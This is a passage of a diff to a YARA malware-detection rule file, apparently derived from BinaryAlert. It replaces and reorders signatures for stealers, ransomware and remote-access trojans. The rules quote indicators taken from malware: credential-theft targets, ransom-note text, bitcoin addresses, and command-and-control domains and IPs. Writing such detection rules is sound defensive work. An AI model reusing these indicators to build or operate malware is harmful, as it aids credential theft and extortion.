"https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_pony_stealer.yara#L1-L21" + reference = "https://securingtomorrow.mcafee.com/mcafee-labs/hydracrypt-variant-of-ransomware-distributed-by-angler-exploit-kit/" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_hydracrypt.yara#L1-L16" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - hash = "5e52ce394c3be2a685dbb8f435e2f64f" - logic_hash = "4d4e28e0d4d97412a9129a4abfadc130a464a2ababf46ca8f366a2a30b262261" + hash = "08b304d01220f9de63244b4666621bba" + logic_hash = "3ecb3e6c269f4145e60b0e7bb0e896120ceb2db2123f847bf4bdf5d4490467d5" score = 75 - quality = 50 + quality = 80 tags = "" strings: - $a1 = "signons.sqlite" nocase wide ascii - $a2 = "signons.txt" nocase wide ascii - $a3 = "signons2.txt" nocase wide ascii - $a4 = "signons3.txt" nocase wide ascii - $a5 = "WininetCacheCredentials" nocase wide ascii - $a6 = "moz_logins" nocase wide ascii - $a7 = "encryptedPassword" nocase wide ascii - $a8 = "FlashFXP" nocase wide ascii - $a9 = "BulletProof" nocase wide ascii - $a10 = "CuteFTP" nocase wide ascii + $u0 = "oTraining" fullword ascii wide + $u1 = "Stop Training" fullword ascii wide + $u2 = "Play \"sound.wav\"" fullword ascii wide + $u3 = "&Start Recording" fullword ascii wide + $u4 = "7About record" fullword ascii wide condition: - all of ( $a* ) + all of them } -rule BINARYALERT_Malware_Windows_Moonlightmaze_Cle_Tool +rule BINARYALERT_Ransomware_Windows_Hddcryptora { meta: - description = "Rule to detect Moonlight Maze 'cle' log cleaning tool" - author = "Kaspersky Lab" - id = "d875a3cf-cad1-509f-bb9f-27f0a3a9b79d" + description = "The HDDCryptor ransomware encrypts local harddisks as well as resources in network shares via Server Message Block (SMB)" + author = "@fusionrace" + id = "56d7f1f5-811d-58c9-9e1d-d2f48c01e167" date = "2017-08-11" modified = "2017-08-11" - reference = "https://en.wikipedia.org/wiki/Moonlight_Maze" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_moonlightmaze_cle_tool.yara#L1-L17" + reference = "http://blog.trendmicro.com/trendlabs-security-intelligence/bksod-by-ransomware-hddcryptor-uses-commercial-tools-to-encrypt-network-shares-and-lock-hdds/" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_HDDCryptorA.yara#L1-L23" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - hash = "647d7b711f7b4434145ea30d0ef207b0" - logic_hash = "8f75df1240b9e5e905492106265a7e1342db4140d715529933af4ba5c8ec6331" + hash = "498bdcfb93d13fecaf92e96f77063abf" + logic_hash = "24c113be31c3df7b544a5789bf055f77471d450c07f0a6729a715e2a82b4d1f0" score = 75 - quality = 80 + quality = 78 tags = "" strings: - $a1 = "./a filename template_file" ascii wide - $a2 = "May be %s is empty?" ascii wide - $a3 = "template string = |%s|" ascii wide - $a4 = "No blocks !!!" - $a5 = "No data in this block !!!!!!" ascii wide - $a6 = "No good line" + $u1 = "You are Hacked" fullword ascii wide + $u2 = "Your H.D.D Encrypted , Contact Us For Decryption Key" nocase ascii wide + $u3 = "start hard drive encryption..." ascii wide + $u4 = "Your hard drive is securely encrypted" ascii wide + $g1 = "Wipe All Passwords?" ascii wide + $g2 = "SYSTEM\\CurrentControlSet\\Services\\dcrypt\\config" ascii wide + $g3 = "DiskCryptor" ascii wide + $g4 = "dcinst.exe" fullword ascii wide + $g5 = "dcrypt.exe" fullword ascii wide + $g6 = "you can only use AES to encrypt the boot partition!" ascii wide condition: - 3 of ( $a* ) + 2 of ( $u* ) or 4 of ( $g* ) } -rule BINARYALERT_Malware_Windows_Winnti_Loadperf_Dll_Loader +rule BINARYALERT_Ransomware_Windows_Wannacry { meta: - description = "Winnti APT group; gzwrite64 imported from loadoerf.ini" - author = "@mimeframe" - id = "41444dd5-41b9-550c-9124-bc7f41326baa" + description = "wannacry ransomware for windows" + author = "@fusionrace" + id = "0269b6f4-a47d-5683-aaaa-2141ca7f04dc" date = "2017-08-11" modified = "2017-08-11" - reference = "http://blog.trendmicro.com/trendlabs-security-intelligence/winnti-abuses-github/" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_winnti_loadperf_dll_loader.yara#L1-L13" + reference = "https://securelist.com/blog/incidents/78351/wannacry-ransomware-used-in-widespread-attacks-all-over-the-world/" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_wannacry.yara#L1-L23" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - hash = "879ce99e253e598a3c156258a9e81457" - logic_hash = "b1035174edfff2e142026f3482fc53407af59f5215a6030c0d2a85501152c3db" + hash = "4fef5e34143e646dbf9907c4374276f5" + logic_hash = "c01f460c0f5e39cde5f553c966553fe693e5203cb020b8f571eac6fc193fa91b" score = 75 - quality = 80 + quality = 50 tags = "" strings: - $s1 = "loadoerf.ini" fullword ascii wide - $s2 = "gzwrite64" fullword ascii wide + $a1 = "msg/m_chinese" wide ascii + $a2 = ".wnry" wide ascii + $a3 = "attrib +h" wide ascii + $b1 = "WNcry@2ol7" wide ascii + $b2 = "iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com" wide ascii + $b3 = "115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn" wide ascii + $b4 = "12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw" wide ascii + $b5 = "13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94" wide ascii condition: - all of ( $s* ) + all of ( $a* ) or any of ( $b* ) } -rule BINARYALERT_Malware_Windows_Moonlightmaze_Custom_Sniffer +rule BINARYALERT_Ransomware_Windows_Petya_Variant_1 { meta: - description = "Rule to detect Moonlight Maze sniffer tools" - author = "Kaspersky Lab" - id = "a9f005e0-8d73-58ff-b010-d3ce08ffdb64" + description = "Petya Ransomware new variant June 2017 using ETERNALBLUE" + author = "@fusionrace" + id = "bf56c0e4-585c-509b-a182-a93c74be7524" date = "2017-08-11" modified = "2017-08-11" - reference = "https://en.wikipedia.org/wiki/Moonlight_Maze" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_moonlightmaze_custom_sniffer.yara#L1-L20" + reference = "https://gist.github.com/vulnersCom/65fe44d27d29d7a5de4c176baba45759" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_petya_variant_1.yara#L1-L18" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "466be027f567fe0afc88c82d94e4e0171b4b7d8f38d27a4c4a18cec4ca2b8b2f" + hash = "71b6a493388e7d0b40c83ce903bc6b04" + logic_hash = "3733834ee2271a483739b09c4222d222aa4899cab48fd8fc558bdbd9a66bf2d6" score = 75 quality = 80 tags = "" - md5_1 = "7b86f40e861705d59f5206c482e1f2a5" - md5_2 = "927426b558888ad680829bd34b0ad0e7" strings: - $a1 = "/var/tmp/gogo" fullword - $a2 = "myfilename= |%s|" fullword - $a3 = "mypid,mygid=" fullword - $a4 = "mypid=|%d| mygid=|%d|" fullword - $a5 = "/var/tmp/task" fullword - $a6 = "mydevname= |%s|" fullword + $s1 = "Ooops, your important files are encrypted." fullword ascii wide + $s2 = "Send your Bitcoin wallet ID and personal installation key to e-mail" fullword ascii wide + $s3 = "wowsmith123456@posteo.net. Your personal installation key:" fullword ascii wide + $s4 = "Send $300 worth of Bitcoin to following address:" fullword ascii wide + $s5 = "have been encrypted. Perhaps you are busy looking for a way to recover your" fullword ascii wide + $s6 = "need to do is submit the payment and purchase the decryption key." fullword ascii wide condition: - any of ( $a* ) + any of them } -rule BINARYALERT_Malware_Windows_Moonlightmaze_Loki +rule BINARYALERT_Malware_Macos_Proton_Rat_Generic { meta: - description = "Rule to detect Moonlight Maze Loki samples by custom attacker-authored strings" - author = "Kaspersky Lab" - id = "06eeb6a4-540f-51eb-86f9-4ab49543f645" + description = "No description has been set in the source file - BinaryAlert" + author = "@mimeframe" + id = "75cfaaff-e8d7-5cd4-953b-7d2011139725" date = "2017-08-11" modified = "2017-08-11" - reference = "https://en.wikipedia.org/wiki/Moonlight_Maze" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_moonlightmaze_loki.yara#L1-L27" + reference = "https://objective-see.com/blog/blog_0x1D.html" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/macos/malware_macos_proton_rat_generic.yara#L3-L21" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "9a403695ded6ff3626820ba0d4abde7ccd6f3fa6bfd8aa4ceaf0cc009d34c97f" + hash = "6a2d0c8b20efc3fa283176a4bc76d6fd" + logic_hash = "b7d8660320564cba1d8e2d53d1fdc75509140c7e87a572b27931c62201df2d22" score = 75 - quality = 80 + quality = 64 tags = "" - md5_1 = "14cce7e641d308c3a177a8abb5457019" - md5_2 = "a3164d2bbc45fb1eef5fde7eb8b245ea" - md5_3 = "dabee9a7ea0ddaf900ef1e3e166ffe8a" - md5_4 = "1980958afffb6a9d5a6c73fc1e2795c2" - md5_5 = "e59f92aadb6505f29a9f368ab803082e" strings: - $a1 = "Write file Ok..." ascii wide - $a2 = "ERROR: Can not open socket...." ascii wide - $a3 = "Error in parametrs:" ascii wide - $a4 = "Usage: @ " ascii wide - $a5 = "ERROR: Not connect..." ascii wide - $a6 = "Connect successful...." ascii wide - $a7 = "clnt <%d> rqstd n ll kll" ascii wide - $a8 = "clnt <%d> rqstd swap" ascii wide - $a9 = "cld nt sgnl prcs grp" ascii wide - $a10 = "cld nt sgnl prnt" ascii wide - $a11 = "ork error" ascii fullword + $a1 = "SRWebSocket" nocase wide ascii + $a2 = "SocketRocket" nocase wide ascii + $b1 = "SSH tunnel not launched" nocase wide ascii + $b2 = "SSH tunnel still running" nocase wide ascii + $b3 = "SSH tunnel already launched" nocase wide ascii + $b4 = "Entering interactive session." nocase wide ascii condition: - 2 of ( $a* ) + BINARYALERT_Macho_PRIVATE and any of ( $a* ) and any of ( $b* ) } -rule BINARYALERT_Malware_Windows_Moonlightmaze_Loki2Crypto +rule BINARYALERT_Malware_Macos_Macspy : FILE { meta: - description = "Rule to detect hardcoded DH modulus used in 1996/1997 Loki2 sourcecode; #ifdef STRONG_CRYPTO /* 384-bit strong prime */" - author = "Costin Raiu, Kaspersky Lab" - id = "eb5fc283-4994-5db5-965d-e90caad95f4c" + description = "macSpy is a malware-as-a-service (MaaS) product advertised as the most sophisticated Mac spyware ever" + author = "AlienVault Labs" + id = "5f9a5ed5-a982-552c-a6df-326228eaf459" date = "2017-08-11" modified = "2017-08-11" - reference = "https://en.wikipedia.org/wiki/Moonlight_Maze" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_moonlightmaze_loki2crypto.yara#L1-L16" + reference = "https://www.alienvault.com/blogs/labs-research/macspy-os-x-rat-as-a-service" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/macos/malware_macos_macspy.yara#L3-L17" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "abb2093844af1b854a9deed5baab3f4d67bd1189a4520f697aa69b7441d9488c" + hash = "6c03e4a9bcb9afaedb7451a33c214ae4" + logic_hash = "f04648860c9602e43516113000908008847dacfbe189d79e13737bcd034b68a0" score = 75 quality = 80 - tags = "" - md5_1 = "19fbd8cbfb12482e8020a887d6427315" - md5_2 = "ea06b213d5924de65407e8931b1e4326" - md5_3 = "14ecd5e6fc8e501037b54ca263896a11" - md5_4 = "e079ec947d3d4dacb21e993b760a65dc" - md5_5 = "edf900cebb70c6d1fcab0234062bfc28" + tags = "FILE" strings: - $modulus = {DA E1 01 CD D8 C9 70 AF C2 E4 F2 7A 41 8B 43 39 52 9B 4B 4D E5 85 F8 49} + $header0 = {cf fa ed fe} + $header1 = {ce fa ed fe} + $header2 = {ca fe ba be} + $c1 = { 76 31 09 00 76 32 09 00 76 33 09 00 69 31 09 00 69 32 09 00 69 33 09 00 69 34 09 00 66 31 09 00 66 32 09 00 66 33 09 00 66 34 09 00 74 63 3A 00 } condition: - $modulus + ($header0 at 0 or $header1 at 0 or $header2 at 0 ) and $c1 } -rule BINARYALERT_Malware_Windows_Apt_Red_Leaves_Generic +rule BINARYALERT_Malware_Macos_Bella { meta: - description = "Red Leaves malware, related to APT10" - author = "David Cannings" - id = "e0067b05-eb4a-52ec-8f35-9336a631f03b" + description = "Bella is a pure python post-exploitation data mining tool & remote administration tool for macOS." + author = "@mimeframe" + id = "ca4ab508-8c97-5307-9aaf-db10cfd6ab35" date = "2017-09-12" modified = "2017-09-12" - reference = "https://github.com/nccgroup/Cyber-Defence/blob/master/Technical%20Notes/Red%20Leaves/Source/Red%20Leaves%20technical%20note%20v1.0.md" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_apt_red_leaves_generic.yara#L1-L27" + reference = "https://github.com/Trietptm-on-Security/Bella" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/macos/malware_macos_bella.yara#L1-L22" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - hash = "81df89d6fa0b26cadd4e50ef5350f341" - logic_hash = "be03bba9d01e6584b5849514656fd7de866c478f343c0bc618d7dbeda1771696" + logic_hash = "b9c063b5ec8604958d3417ec8640da4314ebcf60ee55413a2f6fa8d138311614" score = 75 quality = 80 tags = "" strings: - $a1 = "Feb 04 2015" - $a2 = "I can not start %s" - $a3 = "dwConnectPort" fullword - $a4 = "dwRemoteLanPort" fullword - $a5 = "strRemoteLanAddress" fullword - $a6 = "strLocalConnectIp" fullword - $a7 = "\\\\.\\pipe\\NamePipe_MoreWindows" wide - $a8 = "RedLeavesCMDSimulatorMutex" wide - $a9 = "(NT %d.%d Build %d)" wide - $a10 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)" wide - $a11 = "red_autumnal_leaves_dllmain.dll" wide ascii - $a12 = "__data" wide - $a13 = "__serial" wide - $a14 = "__upt" wide - $a15 = "__msgid" wide + $a1 = "Verified! [2FV Enabled] Account ->" wide ascii + $a2 = "There is no root shell to perform this command. See [rooter] manual entry." wide ascii + $a3 = "Attempt to escalate Bella to root through a variety of attack vectors." wide ascii + $a4 = "BELLA IS NOW RUNNING. CONNECT TO BELLA FROM THE CONTROL CENTER." wide ascii + $b1 = "user_pass_phish" fullword wide ascii + $b2 = "bella_info" fullword wide ascii + $b3 = "get_root" fullword wide ascii + $c1 = "Please specify a bella server." wide ascii + $c2 = "What port should Bella connect on [Default is 4545]:" wide ascii condition: - 7 of ( $a* ) + any of ( $a* ) or all of ( $b* ) or all of ( $c* ) } -rule BINARYALERT_Malware_Windows_Moonlightmaze_De_Tool +rule BINARYALERT_Malware_Macos_Marten4N6_Evilosx { meta: - description = "Rule to detect Moonlight Maze 'de' and 'deg' tunnel tool" - author = "Kaspersky Lab" - id = "8b943c21-eac7-521d-8dc6-90d611aa4d92" - date = "2017-08-11" - modified = "2017-08-11" - reference = "https://en.wikipedia.org/wiki/Moonlight_Maze" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_moonlightmaze_de_tool.yara#L1-L16" + description = "EvilOSX is a pure python, post-exploitation, RAT (Remote Administration Tool) for macOS / OSX." + author = "@mimeframe" + id = "2b2e62ca-f95c-55c5-aaf6-985aab49dfbb" + date = "2017-09-12" + modified = "2017-09-12" + reference = "https://github.com/Marten4n6/EvilOSX" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/macos/malware_macos_marten4n6_evilosx.yara#L1-L16" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "836331856200fde9792d3bf97d3a18b7f4497ceaae1cfceb0de7c2949e315b9c" + logic_hash = "3402ebf34fd507d0c317416bf77bb3d51b67c8b0f099ce68d15ade6a6a2e302a" score = 75 quality = 80 tags = "" - md5_1 = "4bc7ed168fb78f0dc688ee2be20c9703" - md5_2 = "8b56e8552a74133da4bc5939b5f74243" strings: - $a1 = "Vnuk: %d" ascii fullword - $a2 = "Syn: %d" ascii fullword - $a3 = {25 73 0A 25 73 0A 25 73 0A 25 73 0A} + $a1 = "icloud_phish_stop" fullword wide ascii + $a2 = "icloud_contacts" fullword wide ascii + $a3 = "itunes_backups" fullword wide ascii + $a4 = "chrome_passwords" fullword wide ascii + $a5 = "Starting EvilOSX..." wide ascii condition: - 2 of ( $a* ) + 4 of ( $a* ) } -rule BINARYALERT_Malware_Windows_Moonlightmaze_Encrypted_Keyloger +rule BINARYALERT_Malware_Macos_Apt_Sofacy_Xagent { meta: - description = "Rule to detect Moonlight Maze encrypted keylogger logs" - author = "Kaspersky Lab" - id = "4f290d77-5cb5-5f07-98fd-1829e2f00e63" - date = "2017-08-11" - modified = "2017-08-11" - reference = "https://en.wikipedia.org/wiki/Moonlight_Maze" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_moonlightmaze_encrypted_keyloger.yara#L1-L11" + description = "sofacy xagent for macOS" + author = "@mimeframe" + id = "91bef771-2ef1-58f6-ae01-3bdde4cc003c" + date = "2017-09-12" + modified = "2017-09-12" + reference = "https://blog.malwarebytes.com/cybercrime/2017/03/two-new-mac-backdoors-discovered/" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/macos/malware_macos_apt_sofacy_xagent.yara#L3-L62" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "cdcbe112ae394ce0922647904f70cfae626d413d1770b0e20d2ba49e1f4e2d2d" + hash = "4fe4b9560e99e33dabca553e2eeee510" + logic_hash = "d4b1096e4aeb8382e5abf93d3ecf71cd6ae2ed7afbc9a38549a2fc2739539674" score = 75 - quality = 80 + quality = 55 tags = "" strings: - $a1 = {47 01 22 2A 6D 3E 39 2C} + $a1 = "remoteShell" ascii wide + $a2 = "getInfoOSX" ascii wide + $a3 = "ftpUpload" ascii wide + $a4 = "startUploading" ascii wide + $a5 = "deleteFile:" ascii wide + $a6 = "executeShellCommand" ascii wide + $a7 = "getFirefoxPassword" ascii wide + $a8 = "generateRandomPathAndName" ascii wide + $a9 = "createCryptPacket" ascii wide + $a10 = "CameraShot" ascii wide + $a11 = "7Cryptor" ascii wide + $a12 = "8ICryptor" ascii wide + $a13 = "Keylogger" ascii wide + $a14 = "BootXLoader" ascii wide + $a15 = "InjectApp" ascii wide + $b1 = "/Project/XAgentOSX/" ascii wide + $b2 = "XLoader_OSX" fullword ascii wide + $b3 = "" ascii wide + $b4 = "" ascii wide + $b5 = "" ascii wide + $b6 = "
Stop take screenshot
" ascii wide + $c1 = "http://23.227.196.215/" ascii wide + $c2 = "http://apple-iclods.org/" ascii wide + $c3 = "http://apple-checker.org/" ascii wide + $c4 = "http://apple-uptoday.org/" ascii wide + $c5 = "http://apple-search.info" ascii wide + $d1 = "watch/?" fullword ascii wide + $d2 = "search/?" fullword ascii wide + $d3 = "find/?" fullword ascii wide + $d4 = "results/?" fullword ascii wide + $d5 = "open/?" fullword ascii wide + $d6 = "search/?" fullword ascii wide + $d7 = "close/?" fullword ascii wide + $e1 = "itwm=" fullword ascii wide + $e2 = "text=" fullword ascii wide + $e3 = "from=" fullword ascii wide + $e4 = "itwm=" fullword ascii wide + $e5 = "ags=" fullword ascii wide + $e6 = "btnG=" fullword ascii wide + $e7 = "oprnd=" fullword ascii wide + $e8 = "itwm=" fullword ascii wide + $e9 = "utm=" fullword ascii wide + $e10 = "channel=" fullword ascii wide condition: - ($a1 at 0 ) + BINARYALERT_Macho_PRIVATE and ( 5 of ( $a* ) or any of ( $b* ) or any of ( $c* ) or 4 of ( $d* ) or 5 of ( $e* ) ) } rule BINARYALERT_Malware_Macos_Neoneggplant_Eggshell { @@ -67820,1050 +67668,1025 @@ rule BINARYALERT_Malware_Macos_Neoneggplant_Eggshell condition: all of ( $a* ) or 3 of ( $b* ) or 3 of ( $c* ) } -rule BINARYALERT_Malware_Macos_Proton_Rat_Generic +rule BINARYALERT_Malware_Multi_Vesche_Basicrat { meta: - description = "No description has been set in the source file - BinaryAlert" + description = "cross-platform Python 2.x Remote Access Trojan (RAT)" author = "@mimeframe" - id = "75cfaaff-e8d7-5cd4-953b-7d2011139725" - date = "2017-08-11" - modified = "2017-08-11" - reference = "https://objective-see.com/blog/blog_0x1D.html" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/macos/malware_macos_proton_rat_generic.yara#L3-L21" + id = "e07a684c-3a3d-5dd3-a540-2cc9a5a170dd" + date = "2017-09-12" + modified = "2017-09-12" + reference = "https://github.com/vesche/basicRAT" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/multi/malware_multi_vesche_basicrat.yara#L1-L15" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - hash = "6a2d0c8b20efc3fa283176a4bc76d6fd" - logic_hash = "b7d8660320564cba1d8e2d53d1fdc75509140c7e87a572b27931c62201df2d22" + logic_hash = "1503ce9de4e721903058c77b305ba057052d654ff1875ea880f4319c3e525a29" score = 75 - quality = 64 + quality = 80 tags = "" strings: - $a1 = "SRWebSocket" nocase wide ascii - $a2 = "SocketRocket" nocase wide ascii - $b1 = "SSH tunnel not launched" nocase wide ascii - $b2 = "SSH tunnel still running" nocase wide ascii - $b3 = "SSH tunnel already launched" nocase wide ascii - $b4 = "Entering interactive session." nocase wide ascii + $a1 = "HKCU Run registry key applied" wide ascii + $a2 = "HKCU Run registry key failed" wide ascii + $a3 = "Error, platform unsupported." wide ascii + $a4 = "Persistence successful," wide ascii + $a5 = "Persistence unsuccessful," wide ascii condition: - BINARYALERT_Macho_PRIVATE and any of ( $a* ) and any of ( $b* ) + all of ( $a* ) } -rule BINARYALERT_Malware_Macos_Marten4N6_Evilosx +rule BINARYALERT_Malware_Multi_Pupy_Rat { meta: - description = "EvilOSX is a pure python, post-exploitation, RAT (Remote Administration Tool) for macOS / OSX." + description = "pupy - opensource cross platform rat and post-exploitation tool" author = "@mimeframe" - id = "2b2e62ca-f95c-55c5-aaf6-985aab49dfbb" - date = "2017-09-12" + id = "b26deb19-85b2-5d39-9ff2-0ab9017f3263" + date = "2017-08-11" modified = "2017-09-12" - reference = "https://github.com/Marten4n6/EvilOSX" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/macos/malware_macos_marten4n6_evilosx.yara#L1-L16" + reference = "https://github.com/n1nj4sec/pupy" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/multi/malware_multi_pupy_rat.yara#L1-L16" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "3402ebf34fd507d0c317416bf77bb3d51b67c8b0f099ce68d15ade6a6a2e302a" + logic_hash = "bb5d1e7f2aea94dc41efe75690ae31409e8f6305aa6c4ec0cd46922ee8fb7241" score = 75 - quality = 80 + quality = 74 tags = "" strings: - $a1 = "icloud_phish_stop" fullword wide ascii - $a2 = "icloud_contacts" fullword wide ascii - $a3 = "itunes_backups" fullword wide ascii - $a4 = "chrome_passwords" fullword wide ascii - $a5 = "Starting EvilOSX..." wide ascii + $a1 = "dumping lsa secrets" nocase wide ascii + $a2 = "dumping cached domain passwords" nocase wide ascii + $a3 = "the keylogger is already started" nocase wide ascii + $a4 = "pupyutils.dns" wide ascii + $a5 = "pupwinutils.security" wide ascii + $a6 = "-PUPY_CONFIG_COMES_HERE-" wide ascii condition: - 4 of ( $a* ) + 3 of ( $a* ) } -rule BINARYALERT_Malware_Macos_Bella +rule BINARYALERT_Malware_Windows_Apt_Whitebear_Binary_Loader_2 { meta: - description = "Bella is a pure python post-exploitation data mining tool & remote administration tool for macOS." - author = "@mimeframe" - id = "ca4ab508-8c97-5307-9aaf-db10cfd6ab35" + description = "The WhiteBear loader contains a set of messaging and injection components that support continued presence on victim hosts" + author = "@fusionrace" + id = "d97b7fe1-7ff3-5cc0-9085-140ed523421f" date = "2017-09-12" modified = "2017-09-12" - reference = "https://github.com/Trietptm-on-Security/Bella" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/macos/malware_macos_bella.yara#L1-L22" + reference = "https://securelist.com/introducing-whitebear/81638/" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_apt_whitebear_binary_loader_2.yara#L1-L17" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "b9c063b5ec8604958d3417ec8640da4314ebcf60ee55413a2f6fa8d138311614" + hash = "06bd89448a10aa5c2f4ca46b4709a879" + logic_hash = "9bb7fc3b3bf7f91efbba128895bb61b5a1bbdb6625d84836956de5e884ae3fe1" score = 75 quality = 80 tags = "" strings: - $a1 = "Verified! [2FV Enabled] Account ->" wide ascii - $a2 = "There is no root shell to perform this command. See [rooter] manual entry." wide ascii - $a3 = "Attempt to escalate Bella to root through a variety of attack vectors." wide ascii - $a4 = "BELLA IS NOW RUNNING. CONNECT TO BELLA FROM THE CONTROL CENTER." wide ascii - $b1 = "user_pass_phish" fullword wide ascii - $b2 = "bella_info" fullword wide ascii - $b3 = "get_root" fullword wide ascii - $c1 = "Please specify a bella server." wide ascii - $c2 = "What port should Bella connect on [Default is 4545]:" wide ascii + $b1 = "i cunt waiting anymore #%d" wide ascii + $b2 = "lights aint turnt off with #%d" wide ascii + $b3 = "Not find process" wide ascii + $b4 = "CMessageProcessingSystem::Receive_TAKE_NOP" wide ascii + $b5 = "CMessageProcessingSystem::Receive_TAKE_CAN_NOT_WORK" wide ascii condition: - any of ( $a* ) or all of ( $b* ) or all of ( $c* ) + 3 of ( $b* ) } -rule BINARYALERT_Malware_Macos_Macspy : FILE +rule BINARYALERT_Malware_Windows_Winnti_Loadperf_Dll_Loader { meta: - description = "macSpy is a malware-as-a-service (MaaS) product advertised as the most sophisticated Mac spyware ever" - author = "AlienVault Labs" - id = "5f9a5ed5-a982-552c-a6df-326228eaf459" + description = "Winnti APT group; gzwrite64 imported from loadoerf.ini" + author = "@mimeframe" + id = "41444dd5-41b9-550c-9124-bc7f41326baa" date = "2017-08-11" modified = "2017-08-11" - reference = "https://www.alienvault.com/blogs/labs-research/macspy-os-x-rat-as-a-service" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/macos/malware_macos_macspy.yara#L3-L17" + reference = "http://blog.trendmicro.com/trendlabs-security-intelligence/winnti-abuses-github/" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_winnti_loadperf_dll_loader.yara#L1-L13" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - hash = "6c03e4a9bcb9afaedb7451a33c214ae4" - logic_hash = "f04648860c9602e43516113000908008847dacfbe189d79e13737bcd034b68a0" + hash = "879ce99e253e598a3c156258a9e81457" + logic_hash = "b1035174edfff2e142026f3482fc53407af59f5215a6030c0d2a85501152c3db" score = 75 quality = 80 - tags = "FILE" + tags = "" strings: - $header0 = {cf fa ed fe} - $header1 = {ce fa ed fe} - $header2 = {ca fe ba be} - $c1 = { 76 31 09 00 76 32 09 00 76 33 09 00 69 31 09 00 69 32 09 00 69 33 09 00 69 34 09 00 66 31 09 00 66 32 09 00 66 33 09 00 66 34 09 00 74 63 3A 00 } + $s1 = "loadoerf.ini" fullword ascii 